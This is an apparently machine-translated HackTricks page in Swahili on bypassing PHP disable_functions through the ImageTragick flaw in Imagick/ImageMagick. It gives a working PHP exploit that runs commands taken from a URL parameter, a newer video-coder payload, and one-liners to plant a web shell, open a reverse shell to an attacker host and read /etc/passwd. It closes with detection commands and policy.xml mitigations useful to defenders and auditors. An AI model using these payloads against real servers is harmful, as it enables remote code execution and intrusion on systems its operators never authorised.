Imagick <= 3.3.0 ‑ PHP >= 5.4 disable_functions Bypass

Reading time: 5 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Familia maarufu ya makosa ya ImageTragick (CVE-2016-3714 na wengine) inaruhusu mshambuliaji kufikia ImageMagick binary kupitia ingizo la MVG/SVG lililotengenezwa. Wakati nyongeza ya PHP Imagick ipo, hii inaweza kutumika vibaya kutekeleza amri za shell hata kama kila kazi ya PHP inayohusiana na utekelezaji imeorodheshwa kwenye disable_functions.

PoC ya awali iliyochapishwa na RicterZ (Chaitin Security Research Lab) mnamo Mei 2016 inarejelewa hapa chini. Mbinu hii bado inakabiliwa mara kwa mara wakati wa ukaguzi wa kisasa wa PHP 7/8 kwa sababu wengi wa watoa huduma wa mwenyeji wa pamoja wanakusanya PHP bila exec/system lakini wanaweka mchanganyiko wa zamani wa Imagick + ImageMagick.

From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

php
# Exploit Title : PHP Imagick disable_functions bypass
# Exploit Author: RicterZ  (ricter@chaitin.com)
# Versions      : Imagick <= 3.3.0  |  PHP >= 5.4
# Tested on     : Ubuntu 12.04 (ImageMagick 6.7.7)
# Usage         : curl "http://target/exploit.php?cmd=id"
<?php
// Print the local hardening status
printf("Disable functions: %s\n", ini_get("disable_functions"));
$cmd = $_GET['cmd'] ?? 'id';
printf("Run command: %s\n====================\n", $cmd);

$tmp   = tempnam('/tmp', 'pwn');     // will hold command output
$mvgs  = tempnam('/tmp', 'img');     // will hold malicious MVG script

$payload = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/x.jpg"|$cmd >$tmp")'
pop graphic-context
EOF;

file_put_contents($mvgs, $payload);
$img = new Imagick();
$img->readImage($mvgs);     // triggers convert(1)
$img->writeImage(tempnam('/tmp', 'img'));
$img->destroy();

echo file_get_contents($tmp);
?>

Kwa nini inafanya kazi?

  1. Imagick::readImage() kwa uwazi inazalisha ImageMagick delegate (convert/magick) binary.
  2. Skripti ya MVG inaweka fill kwa URI ya nje. Wakati nukta mbili (") inapoingizwa, sehemu iliyobaki ya mstari inatafsiriwa na /bin/sh ‑c ambayo ImageMagick inatumia ndani β†’ utekelezaji wa shell wa kiholela.
  3. Yote yanafanyika nje ya tafsiri ya PHP, kwa hivyo disable_functions, open_basedir, safe_mode (iliyondolewa katika PHP 5.4) na vizuizi vingine vya ndani vinapita kabisa.

Hali ya 2025 – bado ni muhimu

  • Toleo lolote la Imagick linalotegemea nyuma ya ImageMagick iliyo hatarini linaendelea kuwa na uwezo wa kutumika. Katika majaribio ya maabara, payload sawa inafanya kazi kwenye PHP 8.3 na Imagick 3.7.0 na ImageMagick 7.1.0-51 iliyokusanywa bila policy.xml iliyohardishwa.
  • Tangu 2020, njia kadhaa za ziada za kuingiza amri zimepatikana (video:pixel-format, ps:, text: coders…). Mifano miwili ya hivi karibuni za umma ni:
  • CVE-2020-29599 – kuingiza shell kupitia text: coder.
  • GitHub issue #6338 (2023) – kuingiza katika video: delegate.

Ikiwa mfumo wa uendeshaji unapeleka ImageMagick < 7.1.1-11 (au 6.x < 6.9.12-73) bila faili ya sera ya kikomo, unyakuzi ni rahisi.

Mifano ya kisasa ya payload

php
// --- Variant using the video coder discovered in 2023 ---
$exp = <<<MAGICK
push graphic-context
image over 0,0 0,0 'vid:dummy.mov" -define video:pixel-format="rgba`uname -a > /tmp/pwned`" " dummy'
pop graphic-context
MAGICK;
$img = new Imagick();
$img->readImageBlob($exp);

Mifano mingine ya manufaa wakati wa CTFs / ushirikiano wa kweli:

  • Kuandika faili – ... > /var/www/html/shell.php (andika web-shell nje ya open_basedir)
  • Shell ya kurudi – bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"
  • Kuhesabu – id; uname -a; cat /etc/passwd

Ugunduzi wa haraka & kuhesabu

bash
# PHP side
php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";'

# System side
convert -version | head -1                 # ImageMagick version
convert -list policy | grep -iE 'mvg|https|video|text'   # dangerous coders still enabled?

Ikiwa matokeo yanaonyesha MVG au URL coders zime wezeshwa lengo linaweza kuwa na hatari.

Mitigations

  1. Patch/Upgrade – Tumia ImageMagick β‰₯ 7.1.1-11 (au toleo la hivi karibuni 6.x LTS) na Imagick β‰₯ 3.7.2.
  2. Harden policy.xml – wazi zima coders zenye hatari kubwa:
xml
<policy domain="coder" name="MVG" rights="none"/>
<policy domain="coder" name="MSL" rights="none"/>
<policy domain="coder" name="URL" rights="none"/>
<policy domain="coder" name="VIDEO" rights="none"/>
<policy domain="coder" name="PS" rights="none"/>
<policy domain="coder" name="TEXT" rights="none"/>
  1. Ondoa kiendelezi kwenye mazingira ya mwenyeji yasiyoaminika. Katika sehemu nyingi za wavuti GD au Imagick si lazima.
  2. Chukulia disable_functions kama ulinzi wa kina – kamwe si kama mekanismu ya msingi ya sandboxing.

References

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks